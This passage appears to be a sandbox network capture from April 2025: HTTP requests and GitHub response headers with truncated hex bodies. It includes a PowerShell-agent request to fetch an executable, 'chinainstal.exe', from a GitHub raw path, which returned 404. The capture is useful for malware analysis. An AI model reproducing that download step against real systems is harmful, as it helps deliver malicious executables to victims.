base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com release-assets.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/ Server: github.com X-GitHub-Request-Id: DA88:1546A1:196381:22F164:68120E06 Transfer-Encoding: chunked with response body ==>0A0A0A0A0A0A0A0A3C21444F43545950452068746D6C3E0A3C68746D6C0A20206C616E673D22656E220A20200A2020646174612D636F6C6F722D6D6F64653D22....... "GET /grosesch/ibra/raw/refs/heads/main/chinainstal.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248 Host: github.com Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Date: Wed 30 Apr 2025 11:48:22 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX X-PJAX-Container Turbo-Visit Turbo-Frame Accept-Encoding Accept X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com release-assets.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/ Server: github.com Content-Length: 275790 X-GitHub-Request-Id: C49D:273657:8F2B34:CB560E:68120E07 with response body ==>0A0A0A0A0A0A0A0A3C21444F43545950452068746D6C3E0A3C68746D6C0A20206C616E673D22656E220A20200A2020646174612D636F6C6F722D6D6F64653D22....... "GET /assets/dark-8a995f0bacd4.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 11418 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Thu 20 Mar 2025 23:48:57 GMT ETag: "0x8DD6809C7E5F19F" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1294084 X-Served-By: cache-iad-kjyo7100109-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 28 147 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 09a959c8c7582fcddb9dbfa839ea79f8120841e4 with response body ==>5B646174612D636F6C6F722D6D6F64653D226461726B225D5B646174612D6461726B2D7468656D653D226461726B225D2C0A5B646174612D636F6C6F722D6D6F....... "GET /assets/light-74231a1f3bbb.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 11305 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Thu 20 Mar 2025 23:48:59 GMT ETag: "0x8DD6809C8F8EBA8" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 3028688 X-Served-By: cache-iad-kjyo7100038-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 27 826 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: d273fe9b856a3c80e7731c1ae1f3ac848d77a934 with response body ==>5B646174612D636F6C6F722D6D6F64653D226C69676874225D5B646174612D6C696768742D7468656D653D226C69676874225D2C0A5B646174612D636F6C6F72....... "GET /assets/primer-primitives-225433424a87.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 2551 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Mon 03 Mar 2025 21:33:15 GMT ETag: "0x8DD5A9B01FC085A" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1794552 X-Served-By: cache-iad-kiad7000140-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 2 820 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: dfd71a05fc57a7ee315854328861142656fe603c with response body ==>2F2A20435353204C6179657220646566696E6974696F6E73202A2F0A406C61796572207072696D65722D6373732D626173652C207072696D65722D7265616374....... "GET /assets/primer-cba26849680f.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 45189 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Wed 02 Apr 2025 16:25:33 GMT ETag: "0x8DD7202FE413CB9" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1318662 X-Served-By: cache-iad-kcgs7200161-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 13 163 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: fade76ba50d3f8f280dcd2e5b9f4d27824b02bdb with response body ==>3A726F6F747B2D2D6830302D73697A652D6D6F62696C653A20322E3572656D3B2D2D68302D73697A652D6D6F62696C653A203272656D3B2D2D68312D73697A65....... "GET /assets/global-2cef982e4161.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 42475 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Fri 25 Apr 2025 09:42:31 GMT ETag: "0x8DD83DD803243DD" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 430845 X-Served-By: cache-iad-kiad7000145-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 4 464 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 14106f55368f9ca760983fc60ce255ac2dfdd07c with response body ==>2E636F6C6F722D626F726465722D696E76657273657B626F726465722D636F6C6F723A766172282D2D6667436F6C6F722D6F6E456D7068617369732C20766172....... "GET /assets/github-22c3a4e9b13b.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 23170 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Mon 21 Apr 2025 23:10:27 GMT ETag: "0x8DD8129B4769AF5" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 661475 X-Served-By: cache-iad-kcgs7200066-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 3 169 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: a91dfa71162ab07475203f77023958b24672d13f with response body ==>2E6D696E2D6865696768742D66756C6C7B6D696E2D6865696768743A31303076682021696D706F7274616E747D2E68616E67696E672D69636F6E2D6C6973747B....... "GET /assets/site-62271ce87619.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 10303 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Thu 17 Apr 2025 10:53:58 GMT ETag: "0x8DD7D9E27B9596D" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1112741 X-Served-By: cache-iad-kjyo7100052-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 14 3 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 9c415bcaa8a7bb1418bbb6ff0759d9859511c594 with response body ==>2F2A210A202A20407072696D65722F6373732F6D61726B6574696E670A202A20687474703A2F2F7072696D65722E7374796C652F6373730A202A0A202A205265....... "GET /assets/error-3bfb6168c7d5.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 512 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Mon 10 Feb 2025 15:06:49 GMT ETag: "0x8DD49E48B48618B" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Age: 1923735 Date: Wed 30 Apr 2025 11:48:25 GMT X-Served-By: cache-iad-kjyo7100112-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 26310 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: ddd5499bf1038c281e45eaa6a93e9d0ea6d7839e with response body ==>2E6E6F742D666F756E642D6F63746F6361742D777261707065727B77696474683A373170783B6865696768743A373170783B626F726465722D7261646975733A....... "GET /assets/primer-react.12697aeead627392972a.module.css HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 25205 Cache-Control: public max-age=31536000 immutable Content-Type: text/css Last-Modified: Tue 29 Apr 2025 02:45:41 GMT ETag: "0x8DD86C7EE4C5F07" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 112069 X-Served-By: cache-iad-kiad7000109-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 12 153 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: a36bc9c55595c5d445b8d99438ae29ae37b05ebd with response body ==>406C61796572207072696D65722D72656163747B2E7072632D56697375616C6C7948696464656E2D56697375616C6C7948696464656E2D554E5751703A6E6F74....... "GET /assets/wp-runtime-acdf584e8279.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 16241 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Wed 30 Apr 2025 10:36:35 GMT ETag: "0x8DD87D2E1DE7F04" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1057 X-Served-By: cache-iad-kiad7000156-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 20 1 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: bdf5784b63d42e679b3854eac1caffec67a66893 with response body ==>2828293D3E7B2275736520737472696374223B76617220653D7B7D2C5F3D7B7D3B66756E6374696F6E2073286F297B76617220613D5F5B6F5D3B696628766F69....... "GET /assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover-fn_js-81211bd82278.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3355 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Wed 26 Feb 2025 16:25:54 GMT ETag: "0x8DD56823E428E5E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1920671 X-Served-By: cache-iad-kiad7000132-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 963 747 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: b41efc25a89d12e95c6e3ed18f7e5fa3f0e00b5d with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-1d3d52-4be8ffe9a34a.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 5184 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Mon 14 Apr 2025 19:59:32 GMT ETag: "0x8DD7B8EDFD8880B" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1211079 X-Served-By: cache-iad-kiad7000036-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 26 176 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 2a9193e20f482a4f90047c084141c8149ad5bf0c with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/ui_packages_failbot_failbot_ts-aed0572c1e67.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3918 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Thu 17 Apr 2025 14:26:06 GMT ETag: "0x8DD7DBBCA4DEB18" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 741194 X-Served-By: cache-iad-kcgs7200036-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 21 135 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 592c48a98e7233190578576fb707e3f3f77272da with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/environment-1c93e446366f.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3125 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Tue 29 Apr 2025 21:17:49 GMT ETag: "0x8DD87634B9FBAE6" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 44892 X-Served-By: cache-iad-kiad7000163-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 4 51 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 8c8fc5a7bcfe95e1a00ac37778528bf97ae4c05c with response body ==>28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B5D292E70757368285B5B22656E....... "GET /assets/vendors-node_modules_primer_behaviors_dist_esm_index_mjs-0dbb79f97f8f.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 6031 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Fri 03 Jan 2025 21:10:51 GMT ETag: "0x8DD2C3B1AB7B5CF" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 4395443 X-Served-By: cache-iad-kjyo7100116-IAD cache-sjc1000106-SJC X-Cache: HIT HIT X-Cache-Hits: 28282 803 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 7d0e77bf1cb6486526533a7f527b74437a5a32db with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-f690fd9ae3d5.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3459 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Thu 08 Aug 2024 18:12:13 GMT ETag: "0x8DCB7D5A12F8D41" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Content-Encoding: gzip Via: 1.1 varnish 1.1 varnish Accept-Ranges: bytes Date: Wed 30 Apr 2025 11:48:25 GMT Age: 1909052 X-Served-By: cache-iad-kiad7000168-IAD cache-sjc1000123-SJC X-Cache: HIT HIT X-Cache-Hits: 19255 172 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 6e342413841c9f26aa1e208a559fb5da2d4a9112 with response body ==>2275736520737472696374223B28676C6F62616C546869732E7765627061636B4368756E6B3D676C6F62616C546869732E7765627061636B4368756E6B7C7C5B....... "GET /assets/vendors-node_modules_github_relative-time-element_dist_index_js-62d275b7ddd9.js HTTP/1.1 Accept: */* Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 4932 Cache-Control: public max-age=31536000 immutable Content-Type: application/javascript Last-Modified: Thu 13 Mar 2025 05:22:50 GMT ETag: "0x8DD61EF19738E21" Server: 